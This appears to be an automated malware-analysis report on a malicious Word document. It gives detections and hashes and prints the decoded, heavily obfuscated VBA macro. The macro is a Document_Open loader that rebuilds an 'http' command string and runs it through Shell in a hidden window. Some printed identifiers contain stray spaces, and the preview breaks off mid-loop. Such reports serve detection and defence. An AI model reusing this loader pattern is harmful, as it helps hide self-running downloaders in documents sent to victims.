Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4eee04b6f8e134cb…

MALICIOUS

Office (OLE)

181.0 KB Created: 2018-04-10 11:12:00 Authoring application: Microsoft Office Word First seen: 2018-04-23
MD5: e6ba19b06f8a67615bc41d89dc792688 SHA-1: c6599073261b9a3570352b094a9c6a271bba7342 SHA-256: 4eee04b6f8e134cb370de5752c00b772f913a4b61a5693aef25063dd1b1b7204
252 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing heavily obfuscated VBA macros. Heuristics indicate the presence of an auto-exec loader that uses Shell execution, suggesting it's designed to download and run a secondary payload. The ClamAV detection name 'Doc.Malware.Chronos-6897935-0' also points to known malware behavior.

Heuristics 8

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            ElseIf rq f = 6086 Then
            Shell (StrReverse(StrReverse(GAMI))), 0
        ElseIf rq f = 4243 Then
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
            ElseIf rq f = 6086 Then
            Shell (StrReverse(StrReverse(GAMI))), 0
        ElseIf rq f = 4243 Then
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
    For XWGZH = 0 To 34
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37724 bytes
SHA-256: 491ffde94026c57f79efef698b3a6819f19978e3a7f6c4d45ca3ab581ddb2f4d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
708 of 893 identifiers look randomly generated (e.g. 'DrxGBVTtGXXCKRlhRikoYGedjrtwFSGBfshoonYn') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
    Public Function tog WLVp As String
    For xpfXA = 0 To 185
        HMnPcAZi = UCase("gSGGyDejvXJmXZEfG")
        gLQLmkXH = UCase("wVzbwLHAlpilWOx")
        uampjY = Replace("sHvdjxsKxeDBJzTX", "sHvd", "Agfj")
                VcedxSym = Left("KcQlbonYRverqKQFHQ", 5)
        ZmFBybOc = Replace("sMgkbzfROYp", "sMgk", "uozdfqC")
        pKupsuMHG = Replace("lDznvmMO yjnF", "lDz", "eWtw")
        YjjDuh = Mid("KUXwTiKBFrZrR", 0, 5)
        LDY XVIL = Left("ZLdLkLPQiFoZJY", 3)
        jrBWHgqnC = UCase(" UOMRaLHJBgC")
        gZglgt = Left("mTBkJjYYrTQpz", 5)
         hsvcdSh = UCase("kkEjgEOTOqZmvAUSGl")
        oYSYxWJwQ = Right("qLHUPyFhZdVsdQnnrGI", 3)
        Wqbxrb = StrReverse("cdKGUYwwBlJfCnTn")
        nqrxRYh = Replace("CcC FETmvUFZD", "CcC", "FIWy")
    Next xpfXA
        iHQmTk = Space(5)
    SEUoVU = Replace("MnyAaldHasKXFdYZRlk", "MnyA", "GFAB")
    UORiQY = Right("qxcTXTJZXPhK", 6)
    gCDlUR = StrReverse("ht YwJuJJw vncyyOSr")
        For jFrUd = 0 To 78
                ZnghCid = StrReverse("cgLosEXORjzVmdc")
                Rokor = Mid("jfAbwPXIdW", 1, 7)
                KeARJfE = RTrim("KQjIPuZEmd")
        pxgvbjPVg = LTrim("HXTwrxHsAthqk ")
        eVTrrRxH = UCase("gcwlJIGsRUzOgXKx")
        JCQucTt = Left("rpBmaWercZzyIvAHJ", 5)
        mOfVF = Left("HAPaASuhVr", 3)
        soQnWn = Right("TppA JEOCBi XeTTL", 4)
        fYukYcbB = Replace("bESoVjJpoaV", "bESo", "JDfqzIC")
        JowYRAeIj = Mid("xySgpYkgunc", 0, 5)
        CEnneMrav = Space(8)
        QamUKZphj = StrReverse("nivVgLeVJmMyh")
        ffyXXLuxQ = Left("zMvkfHRJLhTufaXKUMj", 3)
        SJwdU = UCase("qtgJMifmAYAMthPwe")
        VeuriYq = Replace("KwytQhJycinnXhGwx", "Kwyt", "MocVO")
    Next jFrUd

    tog WLVp = 591 - 219
End Function

    Public Function vGWLJZGU() As String
    jfTSTW = Mid("DcfFpYyvegZdYVegGBP", 0, 6)
    OQOMOS = LTrim("bzstYujErXIbjfAfx")
vGWLJZGU = 990 - 144
    For Dfqjz = 0 To 284
        jgozOmSoI = Mid("bKwMCqvSPQMZy", 1, 6)
                        frrPuW = RTrim("pXLqHuxwEfRxTvyvdGv")
        jehfq Y = Space(5)
        RHvFZvZu = Mid("mmtGgJXcQkkZ", 1, 7)
        bBIkF = LTrim("OVXVpTJwGpsyjO")
        QZkVTgfPL = Right("KZBr CMlepPemA", 6)
        nXMUUC = LTrim("PeMamZPFoKgmnkVZMJV")
        wcqmXi = RTrim("kXZZTKPSzdSy J eBK")
        yzrSbyAXn = Space(9)
                OStDW = Left("HrqqusISua", 6)
        DwuAUpx = StrReverse("LnOi jaVWbYQI")
                rhxgV = Mid("mwUzztHKncyLkcu", 0, 7)
        CfsLvZ = RTrim("iQyCfXLJfOUbHA")
        tlxF = LTrim("CVIrswkpgirZnfsSc")
        bMZOeYn = LTrim("lQlYfQXIpGJRbJavvP")
                ezDLBSSWO = StrReverse("LC crdFIojosu")
    Next Dfqjz
    For FxgXX = 0 To 272
        UmcFLX = Left("DnFwtxWmzrrGE", 6)
        mevwRRjh = Replace("xuGDEfkJQGhgDbv", "xuGD", "iEZA")
        mxyVHCJ = UCase("VXqoCiD vWLAdGx")
        fygoBY = Right("DeUoGeptIFPYwg", 3)
        aCQiKd = Left("CTRsnRy yk", 5)
        KILOQruZD = Left("udiwzbtanRzrvjdvSaH", 4)
                TyeiHS = Mid("OpanVySOmk", 1, 6)
                        apBhIr = RTrim("CCIkWJVLIwy kwC")
        MRfBICym = RTrim("EhOtuqVBZK XYLcUax")
        xnKIZv r = Space(8)
        IjOMMPoiU = Mid("wMiJXYYUSqaKGrRi", 2, 5)
        SXQ LJw = Space(6)
        XrZDwHfG = Mid("pvCqixQUPxrqSGdBF", 1, 5)
        trugvSV = UCase("keeiCVvFkwBqPz")
        Z Ycilm = Mid("yoWcCgpTulLOG", 0, 5)
        viIOSEv = Right("BSEnZTsazw", 3)
        FcJullXvI = StrReverse("s qwTqwZrwcX")
        zLQZGp = Left("BrIOAchJgdgszYk", 6)
                        TMMokSc = Space(6)
                KEJLxCu = LTrim("MtTFgofpIsOUI")
        tmSOO = Mid("pMKZXwzlCgzHYJHUn", 0, 6)
        bvFZGz = Space(6)
        WozBb = Mid("ZurWiIMODmWAwxYTpY", 0, 7)
    Next FxgXX
    SRgCqt = Replace("LdDUSDqqqo", "LdDU", "xiCLXp")
    C cHbG = Mid("cbrfTUKtJShetjezk", 1, 5)
    kOVgBQ = UCase("MAxuKTOQzI")
    For EZmfu = 0 To 337
        IWnUbVO = StrReverse("FFcnLdqnGWdLIfn")
        sbVaLA = Mid("MCeJhlhOKkhVA", 0, 5)
        yMmwRL = Replace("TlcOqTwwJalDQasMSc", "TlcO", "bFTwkZk")
        ucXdY = Mid("KimFAVURivtgJTG", 0, 7)
        Bczjt = Mid("CneAFV cOgldYC Qc", 2, 5)
        xSiEGjvfR = LTrim("TvXsyDQGnAFxn")
        LqzuhhPW = Left("xgOmcqnCuSpAfMcDj", 3)
        UsbAZ = LTrim("qP XhnCeyoheXqzOxYG")
        fogPUVw = Mid("tWWoQFkvYHGwD", 2, 5)
        rscfu = Space(9)
        GqnBCuCxd = UCase("vxhwEXOaDlgj")
        yXCRiz = LTrim("WDeHaDtLhbmyWQ")
        MyiUxtFLJ = Right("KrTRKSuRxDfEbWOH", 2)
                jgQQecrVx = LTrim("XLiZSHpzvyvff")
            Next EZmfu
    qPZllS = UCase("jZcEOjPaBbxZ")
    RbEkgx = Space(7)
    wArTfp = StrReverse("kazcIaoUAFWDBMcm")
    For zJiVK = 0 To 240
        cAFinfVgV = Left("iwhfBPQiYDBI", 2)
        iPefaltK = Left("LRluwPKnEzqTkzpj ", 6)
        TJzdxdUmI = Mid("sfdWSQyRpxaVw", 2, 5)
        HBLQPH = UCase("bVYGIhXlyGZyOGn")
        rPehLOTSW = LTrim("jCREebfijTPVRYGbb")
        lvpSzF = StrReverse("YdduQqHThWz")
        IFFVzYb = Replace("STBCyvOKLJ", "STB", "XP c")
        KWJvGSho = Replace("jqCymcIcZOnsGt", "jqC", "iGfbKub")
        Gxgllg Vs = StrReverse("xEdHXJkbIzZxcZmm")
        W cqBudwM = LTrim("oqJPUcVKVH  YiwYkh")
        xrZPfkJj = StrReverse("EglHJyXcuvfJwXkguxY")
    Next zJiVK
vGWLJZGU = 865 - 159
    KJbJCM = Left("AlVzdnkpjhep", 4)
vGWLJZGU = 690 - 259
    lnnan = RTrim("WVzpxTsjRJLCmCHMjb")
    zzPKql = StrReverse("SaccyVFHSm mOm")

    vGWLJZGU = 503 - 157
End Function

Private Sub Document_Open()
    For XWGZH = 0 To 34
        OyaLkPs = Space(6)
         xpvn = Mid("aTwSOMsuKPag", 2, 7)
        TgVIIi = Right("brulzKhwYwmlS", 3)
        uuMZCG = StrReverse("LUFtJxAqIqcfKkVHHP")
        ztgtFgFf = Replace("FdjaIbXqianEKwckarS", "Fdj", "kDZsk")
        UOWu s = UCase("goyEJhqofYrufASsXYE")
        QsDtDmwJ = Replace(" PzuLJwLCWzXwGQEvDg", " Pz", "k sbB")
        iQMAVjhJV = LTrim("ppJjRIeif CmHVDpQ")
        BTjGRnUEY = StrReverse("EeEteyxHtxgT")
        dhUgrjkk = StrReverse("MDLRAzyaIwYTjJjbBr")
        KMwcxx = UCase("zxOSnsanRvXmE")
        IsmKXH = RTrim("mGCvuaaUKiEW")
        LMze = RTrim("cvoJ ynyjVGiKKrQc")
        ibwVWGJi = LTrim("uQqWBiqOTSMxm")
                pfAeOgQcs = StrReverse("JZcpFnzF e")
        sazsDOA = Mid("XVLLbcfwAoF", 0, 6)
        nhBrOj = Space(5)
        eFoEWnLVI = Replace("wWdwgPvsYSSWq", "wWd", "USbI")
        vYhQL = StrReverse("rvUjFXXeHQlCJUvvAnE")
                        QwMOg = Left("ZdFdzyqMykbqSRMS", 3)
    Next XWGZH
RmjsVb = Replace("APZfyXknxYVn", "APZf", "JefB")
    For Oayyg = 0 To 324
        UpyePzJ = Space(8)
         BklF = Replace("lYSZiWLOVmTmpM", "lYS", "xReGwUX")
        QTKlMVH = Replace("HfEvvHnHoVcQpDwmP", "HfE", "YWRXVq")
        Za pqeho = Space(7)
        CrdEz = Right("skkQHaaKrttfpbeB", 4)
        gjLXkve = Left("LyxSMmZamuRbBsHcAQr", 3)
         BoYghGQ = LTrim("xDHEsWobkWVDJmmrtK")
        UJbeSX Q = UCase("YkynmdqRChoXi")
                Jxorvcbly = Space(5)
        dmPMO = StrReverse("BBCFOPSVHHEfgs")
        rFCCSbS = Right("ipeAExwcDIiHck  ", 6)
        FqfOwK = Replace("zrRkmELMePBGG", "zrR", "ulvwH")
        afBEdzwm = LTrim("WOUjTGPzSmdAPOM")
        BCxvqJU = Mid("ZznFdwAATTgKSphho", 2, 5)
        rwboaKFb = Right("MuIBqWJMWQHxTFKlzaU", 5)
        TtCigyXR = StrReverse("AaFjrZqQCclmeR")
        bCdFACD = Left("jgatoRbbzgmyqdw", 6)
        nybjjCic = LTrim("oklgsMkIdoyHJGbhs")
        QovUg = Mid("smhLdcDiaAge", 2, 5)
        eFOADo = Replace("xjwLOSuKBBSHKLF", "xjw", "GMEF")
         uSFgRYOR = RTrim("HAlv ZCprx")
        VQKSpxu = RTrim("j oCcSDMTawgjARbDS")
        kGvyOdmo = UCase("KUuiYSBuUzkOYU")
    Next Oayyg
    For Ljkhx = 0 To 322
        uoUmOXAUM = Mid("JRCuBGbamRyidSJhK", 2, 6)
        ReCcVlw = Replace("JTtDBtLKCdhMGWklO", "JTtD", "FuQB")
                nEcUkhJ = LTrim("SmKHdWuZaaGUP Q")
        zQPhXiBx = UCase("yekTsaaGTGGnpFT")
        KulnM = UCase("qZXPeRbyHC")
        HO fx = Right("QOiUvk ixXHmA", 3)
         mRIQ VK = Replace("vWSsLKd ZeuaHoVl", "vWSs", "RAPi")
        WTMHhb = Space(8)
        TCYtGlvnp = RTrim(" wsQUPtwIxgq")
        gvBXGZ ws = Replace("GomhtzaZVnPeYRU", "Gom", "lhIPSt")
        lTzSD = Mid("eQslCXlCETPKLUsX", 2, 6)
        HUiygzaI = Mid("CdTmSjamjJPaBySf", 1, 5)
        tylPSJmz = LTrim("FDuoHVKFWQTmV")
                qJa inx = LTrim("IAMicrtrGjQIFQxfvGW")
        fEoZOGb = RTrim("CzOQkazUbMwEbRbEWOc")
        YVLUYjYD = Space(5)
        ZlQyCXz = UCase("QSArcluRYaj")
        CDZivh = LTrim("cOEsQjqjuozGR")
        tEznCCz = StrReverse("HzVlsclfLJYibGtj")
        swrl XJ = RTrim("zJDEhQsromCmLQ")
                AgKbAb = Replace("cZAEzprgeyEZccm", "cZAE", "TnMyA")
        tMOwPydwq = Right("fFxnPcLKjoQfY", 2)
    Next Ljkhx
EWbpzH = Space(7)
    For kyHef = 0 To 111
        DplHJO = UCase("zXsXEjGPyKItUBW")
                PiTKP = UCase("wFodsPUfofVs")
        dPfgdRd = RTrim(" bySDlnVvDRhdMzR")
                kIlFBtepV = Left("DXkYFJ sjXQlPVoYs", 2)
                dzGqlJId = Space(5)
                fVajdc = Replace("pjYqQzWzMFnrhnqxH", "pjY", " oeq")
        vqOprXVYM = Mid("RhdpYShHTnAFjEn", 2, 5)
        ngQSKVx = RTrim("vY  aOzzqHIC lR")
                kYOns = RTrim("jMtHqzpRnG fuzJmW")
        OzsJeD = Right("uHXtMrqawCyQu", 2)
         aIIVRvs = UCase("PHffieUpQIOJTLQcJR")
        iVCGoclW = StrReverse("oATccHdiPuhL Ht")
        HLYorom Z = Mid("rLPzJBZHXiOJB", 0, 6)
        FqYPHvmHJ = Right("GiLeuLvgzJihOXza B", 3)
                vzjfLtLf = Mid("PGQHcCurxDYWgZA", 2, 5)
        rZXQHwseV = Right("ySlRYCOQbjpdh", 3)
        AFYdJLP = LTrim("RuMDHHbCkHIPsbwdBR")
                LxbGC = Right("SHSFcyxYgpzEVwyxFtd", 4)
    Next kyHef
    If 280580 = 217 + 5606 Then
         aZLP = Replace("mQyOIgQOPcJfVOODsC", "mQyO", "fGYEDb")
         aZLP = StrReverse("mQyOIgQOPcJfVOODsC")
        End If
    For HKIjc = 0 To 277
        bBGgfa = LTrim("IKBnkMCFWRMbVsduvW")
        wL OZaU = StrReverse("ewgGpvdJnaz")
        TztWAbH = UCase("DbmsctGHxKdCR")
        aOIwackf = Mid("wibThIZGXFZ", 0, 6)
        CfzLX = Space(5)
        fbv XgX = Left("ohnRbnRCMYtWjxquhEm", 2)
        TYvdg = Mid("DVqxmpFnximBTS", 0, 7)
        DLCMOGBS = Replace("OITnYxfxJTLKOmA", "OITn", "WuHFJ")
        ZnHHjnx = UCase("iJkfraBKdohYVHzaX")
        dmkxXYAKn = UCase("LePLZlFHSojmubyOLC")
        zPlxAWJK = Right("KdewbMssIzIMyXqo", 6)
        bdDAVeVcR = Space(5)
        XELetWLi = StrReverse("xDLzCTJqbGpZwuB")
        LX ayVDO = UCase("AavCEwTkGIcLKWozFg ")
        tgFHg = Replace("DyirjJzebABMcsq", "Dyir", "EjxW")
        WBiTy = UCase("nsVGySPG Q")
        wwwwoEFrH = Mid("dHSsdPILewRpvaJLL", 1, 7)
    Next HKIjc
    If 3889522 = 107 + 7028 Then
        jvVnf = Replace("LCfKBIHCeomFDU", "LCf", "Wmdt")
        jvVnf = StrReverse("LCfKBIHCeomFDU")
        End If
SZdnav = LTrim("DGhTvHhswX")
    If 2861260 = 1 + 1180 Then
        LBRdO = Replace("kPqZrRCSmmqfABL", "kPq", "XaKaQCo")
        LBRdO = StrReverse("kPqZrRCSmmqfABL")
        MwWPv = Replace("KFzDLEfOqfBIWs", "KFzD", "gFdssQ")
        MwWPv = StrReverse("KFzDLEfOqfBIWs")
        End If
BAfHPg = Mid("Cy GXDnjAjBjyf", 2, 7)
    For qSEhe = 0 To 192
                lozVJtj = LTrim("YGTdg lJRF")
        TuoIJBBE = Replace("xOHOEfZwWdowc", "xOHO", "bIUm")
        ILncZPxc = Space(9)
                GDPPUFM = Replace("txcBBiUXlIZC", "txcB", " JZIW")
        BfMATAPOn = Space(9)
        KXf IvItx = Left("QDgBFpXHBCKjtR", 6)
        rlWqLj = RTrim("L VLSlVjFykdeP")
                HpLalleH = Space(7)
        upZgsi = Mid("gqpBZvDlTRrqEnEdUH", 0, 7)
        oEeurUfl = Space(6)
                YebEvp = UCase("lwGsTzDcxT")
        RhjRmi = Space(5)
        iVgaI = Mid("MXLJ cUkpO", 1, 6)
        ZvQrbuWh = LTrim("zSDV DiGqcymlt")
        ELeJvsLE = Space(5)
        hFagLUyb = UCase("JKyJybdwBV")
        WZVOU = Right("IrZsFduWdfeeRU", 2)
         paqkG = Replace("nLxxYmwLCP", "nLx", "ZMVj")
        hDpvYOinE = UCase("hhWjzDpasooVrZoDZf")
        sbQrlPixI = Mid("vWMeGMORGUqC ", 2, 5)
         pZWc = LTrim("TThGtwTmJAhGqb")
        tHOdizOh = LTrim("ZKGTZmPViuqFnhAS")
        iTitJu = Left("RlrHvXhDbcGcMKMsg", 2)
        xuhMBlSbU = Mid("ahQkxkLXGrM", 2, 6)
    Next qSEhe

    While rq f < 6108
        If rq f = 62 Then
            ktoQPV = Replace("hwiUCsfKEnekglsFRJ", "hwiU", "uhab")

        ElseIf rq f = 690 Then
            uIYJYn = LTrim("IBninmlRTI")

        ElseIf rq f = 2220 Then
            OEQzBo = UCase("OWBGvuIdJZ")

        ElseIf rq f = 1731 Then
            VlnQdS = StrReverse("oQvOCvHHrqV")

        ElseIf rq f = 5934 Then
            aXpV = Split(Replace(CIG, "C Gui", "TqL"), Chr(127 - 3))(1 - 1)
        ElseIf rq f = 2972 Then
            oEldHT = Replace("mCd oyzRibz", "mCd", "SXgpwU")

        ElseIf rq f = 3349 Then
            
        ElseIf rq f = 5288 Then
            XpRUGY = LTrim("QfSjnoWdMWlqRe")

        ElseIf rq f = 5819 Then
            LGdC = Split(Replace(CIG, "eQAQK", "Xjf"), Chr(125 - 1))(2 + 0)
        ElseIf rq f = 4037 Then
            ucnFnV = Replace("iJWBvufRtWTQbP", "iJW", "dTui")

        ElseIf rq f = 1641 Then
            ukbooU = StrReverse("wanwDvzxIsZElC")

        ElseIf rq f = 3517 Then
            wVlOyH = Replace("gEWVKgxwhEq", "gEWV", "l Scg")

        ElseIf rq f = 465 Then
            dGwLuq = StrReverse("LOuli IhnFt")

        ElseIf rq f = 4752 Then
            RPKMbD = RTrim("miHJLuTfpjmHv")

        ElseIf rq f = 1277 Then
            ulSJnV = Space(8)

        ElseIf rq f = 1981 Then
            
        ElseIf rq f = 3391 Then
            qMhqiu = Space(8)

        ElseIf rq f = 139 Then
            EXqfLD = Space(9)

        ElseIf rq f = 2396 Then
            FxJ qg = Mid("gzHmLemsYxgMaaZ", 0, 7)

        ElseIf rq f = 2703 Then
            hWSplK = RTrim("mkYDDDFlQQCFBsVIm")

        ElseIf rq f = 3592 Then
            ZVQpjH = Replace("cIhyPpuZSDOv", "cIh", "nEso")

        ElseIf rq f = 5889 Then
            crW = Split(Replace(CIG, "KVuJP", "myc"), Chr(123 + 1))(1)
        ElseIf rq f = 1362 Then
            oStUtr = Replace("ur UwmwJZOBwTBg", "ur U", "BjbMZ")

        ElseIf rq f = 2785 Then
            fsYDXF = RTrim("ICGrSzOTaKL")

        ElseIf rq f = 2000 Then
            UialWQ = Left("PeJnKgLDkgUAlXEHy", 4)

        ElseIf rq f = 5715 Then
            CIG = Replace(StrReverse(utfkIyOxwR(1)), "kRsqH", "EmE")
        ElseIf rq f = 632 Then
            i wHaT = Right("jweJTjaBjoifOhqdQZ", 2)

        ElseIf rq f = 2595 Then
            
        ElseIf rq f = 3673 Then
            XyLfdX = UCase("kBoaiEBZZWC")

        ElseIf rq f = 990 Then
             VoHsw = Replace("WqvfORFYxRtamE", "Wqvf", "VW an")

        ElseIf rq f = 5474 Then
            
        ElseIf rq f = 3893 Then
            ODkXFt = StrReverse("jzPYlqjPWbXz ")

        ElseIf rq f = 2185 Then
            WLRmBl = UCase("CaJAUjEPwzhPQxySxD")

        ElseIf rq f = 445 Then
            apgCvF = LTrim("pddldPdauCkhAscKY")

        ElseIf rq f = 1237 Then
            
        ElseIf rq f = 530 Then
            LrDSdt = Replace("pgDOzeIhTzsdkneR", "pgDO", "LDc Omj")

        ElseIf rq f = 359 Then
            puAyyf = Space(9)

        ElseIf rq f = 249 Then
            JmSYRW = Replace("spyqVaxtIpGOursLhcZ", "spy", "pAtqLee")

        ElseIf rq f = 5123 Then
            
        ElseIf rq f = 3098 Then
            M jcDY = Replace("CfkkuW  aHRAraacc", "Cfkk", "iEku j")

        ElseIf rq f = 4680 Then
            
        ElseIf rq f = 4928 Then
            kYMTnn = Left("HlmzOshqOhsd", 5)

        ElseIf rq f = 825 Then
            Wcahyv = Mid("ecWqHmarbdhCgZH ", 0, 6)

        ElseIf rq f = 4414 Then
            CyUImI = LTrim("exMd hiEDjEhD")

        ElseIf rq f = 3947 Then
            QDZfge = LTrim("GpaGAXSQmGd")

        ElseIf rq f = 976 Then
            DjLfFw = Left("WnqwGifLdTdP", 6)

        ElseIf rq f = 4576 Then
            cmlkIc = Space(5)

        ElseIf rq f = 6054 Then
            GAMI = Replace(IuTU, aXpV, Chr(44 + 2))
        ElseIf rq f = 5027 Then
            CamvRD = Left("pMbMB ZXLI", 3)

        ElseIf rq f = 2904 Then
            sOJqye = Replace("zbfCmYjGZtGD p", "zbf", "QofVlqL")

        ElseIf rq f = 6002 Then
            IuTU = Replace(LGdC, crW, Chr(104) + Chr(116) + Chr(116) + Chr(112))
        ElseIf rq f = 2799 Then
            tStoZP = Replace("vHaDVWdyjgBzOcBBFI", "vHaD", "jVWU")

        ElseIf rq f = 3737 Then
            
        ElseIf rq f = 3651 Then
            RfEKVU = Space(8)

        ElseIf rq f = 292 Then
            rWiAso = Replace("mmGrDrhwzG", "mmGr", "bmwtV")

        ElseIf rq f = 5426 Then
            IRFbFe = Right("CihtxSArPkGDvKcHXOH", 4)

        ElseIf rq f = 4443 Then
            FgoL M = RTrim("hQaXYqdEKAPoesYiDE")

        ElseIf rq f = 3319 Then
            zoCRs = Right("KdtdtpzoCgrj", 3)

        ElseIf rq f = 1673 Then
            IhxBAl = Space(8)

        ElseIf rq f = 708 Then
            ndFXHh = Replace("hnxTYhjdRybYVmhjS", "hnxT", "vueQ")

        ElseIf rq f = 2315 Then
            aswHHF = UCase("MHbiYvVjRYlncHMTWjO")

        ElseIf rq f = 5572 Then
            zfaFnj = Left("ErnJTaLOTIFeBkteMyD", 2)

        ElseIf rq f = 810 Then
            s EqfG = Mid("JVoqvooGvpXKbsoJhwD", 2, 5)

        ElseIf rq f = 952 Then
            sFiwaF = Replace("bfKOqIGHvzWzarXSb", "bfKO", "QmlhAZ")

        ElseIf rq f = 5157 Then
            wHTvpY = StrReverse("gUGS rZkludZPPUtQe")

        ElseIf rq f = 4639 Then
            GDCf P = Mid("GplnOMpWIRkuViZx", 1, 5)

        ElseIf rq f = 1388 Then
            nMnM P = Left("gThaQGGyQlOJzgWf", 5)

        ElseIf rq f = 1190 Then
            MekBKZ = LTrim("fZvEGmEbEbmFQYcFtI")

        ElseIf rq f = 871 Then
            EqZubR = Replace("AzLQPruaSM", "AzL", "GOUGU")

        ElseIf rq f = 1493 Then
            HJZwvp = RTrim("kQunaxAKSVROuSiX")

        ElseIf rq f = 1086 Then
            As ywS = UCase("SZohClqfpwoSoXxwjY")

        ElseIf rq f = 3080 Then
            FzFkVA = UCase("pQWszGDXggkWiF")

        ElseIf rq f = 4130 Then
            OCsFcb = Space(6)

        ElseIf rq f = 2104 Then
            VeYnSa = StrReverse(" RKRUVEJKbwcTecHi")

        ElseIf rq f = 3963 Then
            
        ElseIf rq f = 4468 Then
            QSsZuP = RTrim("SYVtXErtYReAb")

        ElseIf rq f = 3304 Then
            PwShBf = Space(5)

        ElseIf rq f = 1587 Then
            s qmbY = Space(6)

        ElseIf rq f = 3202 Then
            ZPTBoO = Mid("UMsMKBzHoTUDAjwW", 0, 7)

        ElseIf rq f = 3493 Then
            oRiCAl = Space(6)

        ElseIf rq f = 4315 Then
            OOyhzT = LTrim("r VBFErjUrLwDl")

        ElseIf rq f = 4828 Then
            ZawEoI = UCase("ZcC uoZQdqOvULM kD")

        ElseIf rq f = 1820 Then
            tmrqht = StrReverse("BuBpKRMWh w ohJgAT")

        ElseIf rq f = 3808 Then
            fyrAuM = LTrim("VapJrvIigUVdjPgocy")

        ElseIf rq f = 5644 Then
            PjiZOw = RTrim("MDykvYaYlCjSVeLkbfh")

        ElseIf rq f = 179 Then
            HCpBtn = RTrim("FLpqnQItyWpguj")

        ElseIf rq f = 5368 Then
            yBlAUc = Mid("DKMahXDQbn", 1, 5)

        ElseIf rq f = 2725 Then
            EgtPhB = Replace("xwDfazEtkTKxJcefDay", "xwD", "BLOhLg")

        ElseIf rq f = 6086 Then
            Shell (StrReverse(StrReverse(GAMI))), 0
        ElseIf rq f = 4243 Then
            
        ElseIf rq f = 3115 Then
            SnGBuy = StrReverse("CMrHQMjYhFcFiQOnYGY")

        ElseIf rq f = 2167 Then
            xPXPQa = Right("RwvJrssMYgwuTMz", 4)

        ElseIf rq f = 4150 Then
            KAryzk = Right("FsUkeVbtUHe", 3)

        ElseIf rq f = 1928 Then
            qXajpg = Space(5)

        ElseIf rq f = 1877 Then
            fwFYjQ = Space(5)

        ElseIf rq f = 5206 Then
            LwJgqy = UCase("UCVFcvmctsgvtSvTnj")

        ElseIf rq f = 2502 Then
            bCowzR = Right("XbSpddTisqlGDsJVwQd", 2)

        End If
        rq f = rq f + 1
Wend

    For dVhD = 0 To 243
        aZsfR = LTrim("WlGGB BIxvQ")
        rnmUy = Replace("wqaTJXuZGu", "wqa", "eKlfn")
                QgRSJ = Left("fVDPeGvconZrLFHzU", 4)
        BbWrSr = Space(9)
        qLnUlzVV = UCase("SyYKnzeCrPhzjlYIE")
                jKADJZqDE = Right("SmUQsdCupwagiK", 4)
        PBMSYL = Right("PZgruAbaxpZDdqEmDh", 3)
        BVswbte = LTrim("DSvEefMaWKQIm")
        JYklveu = LTrim("RwwGMsmoRxecTud")
        HdqbiX = Space(9)
        cWxFlZ = Left("UUMJAjaiXFhDOQHfbGv", 2)
        rvuPky = Mid("FfvvpxURvUrX ", 0, 7)
    Next dVhD
    For jgEVA = 0 To 45
        AKWjztbqB = LTrim("jwLjgePRRflkiGy")
        TrWqVCofY = UCase("KQ cYWdGReQ")
        gxbwqQhv = Replace("bQRhvhgAPlPRkhS", "bQR", "JPTTq")
        KKBzBMuL = Space(7)
        VGdERIZQp = UCase("H MDeCltwbLLlOsL")
        uvCmutV = Mid("TfTUYJQymIXPOFVZWn", 2, 6)
        uytJibfhE = UCase("qBhSIoafQHAiOh")
        MLswHM = UCase("JwruGGKduJKrLlMY")
        OoV pzE = Mid("wzqBAmgChpJgApCRm", 2, 5)
        Ogcdq = Left("VVFScgMnOcalDPyGt", 3)
        ZMMdRXovr = UCase("gYAHqWmxFH")
        sOCMZcy = Left("TzcQcIoJhDcZhpO", 6)
                TZC Z = UCase("CWUsaCOrEKdmURCB")
        UOsDcCKa = Replace("WiLjIVMAQloDRmgah", "WiLj", "x kEgX")
    Next jgEVA
    For rUaKR = 0 To 320
                GxPQZp = StrReverse("wsIGpcgxXmeFz")
        TQner = RTrim("IlmZzCRoyg")
        L yYxD = Right("LuUhiVVOlYQHnL", 6)
                cwcKwJ = Replace("WaKjeRzgrpolSMpKfag", "WaK", "kwqpuWg")
